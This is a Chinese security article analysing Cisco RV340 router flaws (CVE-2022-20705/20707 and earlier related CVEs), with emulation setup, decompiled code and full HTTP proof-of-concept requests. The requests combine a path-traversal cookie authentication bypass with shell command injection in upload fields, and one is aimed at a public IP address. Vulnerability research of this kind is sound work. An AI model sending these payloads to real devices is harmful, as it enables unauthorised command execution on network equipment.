freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Cisco RV340命令执行漏洞(CVE-2022-20707)及关联历史漏洞分析
2022-05-13 13:53:12

一、引言

本篇文章主要是对Cisco RV340命令执行漏洞(CVE-2022-20707)进行的研究分析,尽管利用此漏洞需要身份验证,但可以通过CVE-2022-20705绕过现有的身份验证机制实现无条件的命令执行。历史相关的漏洞还包括:CVE-2020-3451、CVE-2021-1473、CVE-2021-1472,我们会逐一进行分析。

二、环境搭建

2.1 固件下载

可在Cisco官网下载到固件:https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26?catid=268437899

2.2 固件解压

推荐使用7z-zip软件提取openwrt-comcerto2000-hgw-rootfs-ubi_nand.img\RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img\RV34X-v1.0.03.22-2021-06-14-02-33-28-AM\fw.gz\fw\openwrt-comcerto2000-hgw-rootfs-ubi_nand.img
将得到的ubi格式img用binwalk进行解压,但这里有点小坑,binwalk会把软链接给重置为/dev/null。
笔者这里是通过修改binwalk代码的方式强行绕过了此逻辑:binwalk/modules/extractor.py

2.3 qemu系统模拟

修改Ubuntu 主机的网络配置,修改系统的网络接口配置文件/etc/network/interfaces。编辑/etc/qemu-ifup
具体网络配置可以参考:
https://blog.csdn.net/QQ1084283172/article/details/69378333
重启一下虚拟机,因为我Ubuntu 主机的网卡是nat的,桥接就是桥接到nat网络里边去。下载对应的debian qemu镜像https://people.debian.org/~aurel32/qemu/armhf/启动qemu虚拟机:
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=tty0" -net nic -net tap -nographic  
将解出来的固件传到qemu虚拟机:
scp -r 1.tar   root@192.168.250.173:/root/
解压并切入chroot环境:
tar zxvf 1.tarchmod -R 777 rootfscd rootfssudo mount --bind /proc procsudo mount --bind /dev devchroot . /bin/sh
逐步启动ngix服务:
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start
尝试访问web页面:至此,模拟环境搭建完成,可以开始进行漏洞测试。

2.4 调试技巧

因为cgi是以uwsgi子进程的形式启动来处理请求,一次请求一个进程,使用gdbserver并不好attach。故直接修改upload.cgi二进制文件,在main函数入口位置修改汇编为自己跳自己,弄个死循环:这样进程就会一直卡住,等到gdbserver attach上,再通过修改内存方式,修改代码为原程序逻辑:

三、CVE-2022-20705

此漏洞是因nginx配置不当导致的授权绕过漏洞,是命令执行漏洞(CVE-2022-20707)利用的前置条件。命令执行漏洞需要用户能访问upload页面,这本是一个需要鉴权的页面。查看nginx配置文件以及配置引用关系,定位到/upload路径的访问是由/var/nginx/conf.d/web.upload.conf控制


location / form - file - upload {include uwsgi_params;proxy_buffering off;uwsgi_modifier1 9;uwsgi_pass 127.0.0.1 : 9003;uwsgi_read_timeout 3600;uwsgi_send_timeout 3600;}location / upload {set $deny 1;if ( - f / tmp / websession / token / $cookie_sessionid) {set $deny "0";}if ($deny = "1") {return 403;}upload_pass / form - file - upload;upload_store / tmp / upload;upload_store_access user: rw group: rw all: rw;upload_set_form_field $upload_field_name.name "$upload_file_name";upload_set_form_field $upload_field_name.content_type "$upload_content_type";upload_set_form_field $upload_field_name.path "$upload_tmp_path";upload_aggregate_form_field "$upload_field_name.md5""$upload_file_md5";upload_aggregate_form_field "$upload_field_name.size""$upload_file_size";upload_pass_form_field "^.*$";upload_cleanup 400 404 499 500 - 505;upload_resumable on;
可以看到,nginx会通过判断/tmp/websession/token/$cookie_sessionid文件是否存在来进行访问控制。$cookie_sessionid可以通过我们传递的cookie来控制,我们可以将$cookie_sessionid的值设置为一个必定存在的文件,如../../../../../etc/passwd,即可绕过该判断机制。但是除了nginx的配置外,upload.cgi程序内部还有对传入cookie的格式校验,直接传入../../../../../etc/passwd显然是过不了代码侧的格式校验的:


else if ( !strcmp(v5, "/upload")&& HTTP_COOKIE&& strlen(HTTP_COOKIE) - 16 <= 0x40&& !match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE) ){v24 = v34;v25 = v35;v26 = (int)v32;v27 = StrBufToStr(v41);sub_12684(HTTP_COOKIE, v24, v25, v26, v27, v36, v37, v38);}
那么有没有什么办法既能绕过nginx的鉴权,同时又能满足代码侧的格式校验呢?问题的关键就在于程序后端获取cookie的逻辑。这里代码通过for循环获取cookie的值,遇到分号就隔断了:

if ( HTTP_COOKIE )
{
StrBufSetStr(v40, HTTP_COOKIE);
HTTP_COOKIE = 0;
v13 = (char *)StrBufToStr(v40);
for ( i = strtok_r(v13, ";", &save_ptr); i; i = strtok_r(0, ";", &save_ptr) )
{
sessionid = strstr(i, "sessionid=");
if ( sessionid )
HTTP_COOKIE = sessionid + '\n';
}
}

}

换言之我们可以在cookie里传入两个sessionid,前一个用来绕过nginx的鉴权机制,后一个用来匹配upload.cgi的校验正则,代码会取最后一个sessionid作为传入的参数值:

Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;


如此便可成功绕过身份验证,进入upload.cgi的程序逻辑。

四、CVE-2022-20707

在通过CVE-2022-20705绕过登录限制后,upload.cgi本身还存在一处命令执行漏洞。

Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;

这里存在一个非常明显的命令拼接,upload.cgi会将请求提交过来的参数处理成json后被拼接到命令里,那么我们在参数中使用';{CMD};'即可成功执行命令。upload.cgi 可以接收的参数包括:

jsonutil_get_string(dword_2324C, &v31, "\"file.path\"", -1);
    jsonutil_get_string(dword_2324C, &haystack, "\"filename\"", -1);
    jsonutil_get_string(dword_2324C, &v32, "\"pathparam\"", -1);
    jsonutil_get_string(dword_2324C, &v33, "\"fileparam\"", -1);
    jsonutil_get_string(dword_2324C, &v34, "\"destination\"", -1);
    jsonutil_get_string(dword_2324C, &v35, "\"option\"", -1);
    jsonutil_get_string(dword_2324C, &v36, "\"cert_name\"", -1);
    jsonutil_get_string(dword_2324C, &v37, "\"cert_type\"", -1);
    jsonutil_get_string(dword_2324C, &v38, "\"password\"", -1);

该cgi使用nginx文件上传模块获取参数,有些参数是由该模块生成。我们尽量选一些不影响程序正常逻辑的参数进行拼接,比如destination和option
在拼接后的命令执行字符串如下:
可以看到命令已经执行:结合CVE-2022-20705的权限绕过,最终poc为:
POST /upload HTTP/1.1Host: 192.168.250.173Content-Length: 729Accept: application/json, text/plain, */*optional-header: header-valueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz6gIo5kcTkAlkCwXOrigin: http://192.168.250.173Referer: http://192.168.250.173/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;Connection: close------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="sessionid"EU6DJKEIWO------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="pathparam"Firmware------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="fileparam"file001------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="destination"x';ls>/tmp/download/1.xml;'------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="option"x------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="file"; filename="1.img"Content-Type: application/octet-stream1111------WebKitFormBoundaryz6gIo5kcTkAlkCwX--

五、CVE-2020-3451

1.0.03.18及之前版本中的nginx配置并没有对访问upload校验是否授权。选用1.0.00.33进行分析,该版本cgi内部也没有对该路径是否授权校验,对/upload请求的处理由jsonrpc.cgi 处理:cp 命令拼接时 v23由fileparam传入当在fileparam参数传入恶意拼接命令时,即可执行POC:
POST /upload HTTP/1.1Connection: closeAccept-Encoding: gzip, deflateAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Host: 186.86.126.88:443Content-Type: multipart/form-data; boundary=---------------------------42194771962641085195329489787Content-Length: 614-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="sessionid"FOOT-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="fileparam"file001;ls>/www/download/3.xml;-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="pathparam"Firmware-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="file"; filename="1233.img"Content-Type: application/octet-stream111111111111111-----------------------------42194771962641085195329489787--

六、CVE-2021-1473 & CVE-2021-1472

1.0.03.20版本的web.upload.conf为
location /form-file-upload {include uwsgi_params;proxy_buffering off;uwsgi_modifier1 9;uwsgi_pass 127.0.0.1:9003;uwsgi_read_timeout 3600;uwsgi_send_timeout 3600;}location /upload {set $deny 1;      if ($http_authorization != "") {              set $deny "0";      }      if (-f /tmp/websession/token/$cookie_sessionid) {              set $deny "0";      }      if ($deny = "1") {              return 403;      }upload_pass /form-file-upload;upload_store /tmp/upload;upload_store_access user:rw group:rw all:rw;upload_set_form_field $upload_field_name.name "$upload_file_name";upload_set_form_field $upload_field_name.content_type "$upload_content_type";upload_set_form_field $upload_field_name.path "$upload_tmp_path";upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";upload_pass_form_field "^.*$";upload_cleanup 400 404 499 500-505;upload_resumable on;}
只要在头部增加 Authorization 即可令$http_authorization不为空,从而绕过身份校验。该版本的upload.cgi在进行curl命令拼接时,a1由cookie中的sessionid传入。最终poc为:
POST /upload HTTP/1.1Connection: closeAccept-Encoding: gzip, deflateAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Host: 186.86.126.88:443Cookie: sessionid='&ls>/tmp/download/2.xml&'; Authorization: YWRtaW46YWRtaW4=Content-Length: 570Content-Type: multipart/form-data; boundary=5097417339e2369be225700925a71758--5097417339e2369be225700925a71758Content-Disposition: form-data; name="sessionid"foobar--5097417339e2369be225700925a71758Content-Disposition: form-data; name="destination"x--5097417339e2369be225700925a71758Content-Disposition: form-data; name="fileparam"Configuration--5097417339e2369be225700925a71758Content-Disposition: form-data; name="pathparam"Configuration--5097417339e2369be225700925a71758Content-Disposition: form-data; name="file"; filename="1233.xml"Content-Type: text/xml1233333--5097417339e2369be225700925a71758--

七、总结

下表为upload.cgi系列漏洞的总结:

原文链接

本文作者:, 转载请注明来自FreeBuf.COM

# 漏洞分析 # 命令执行漏洞
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦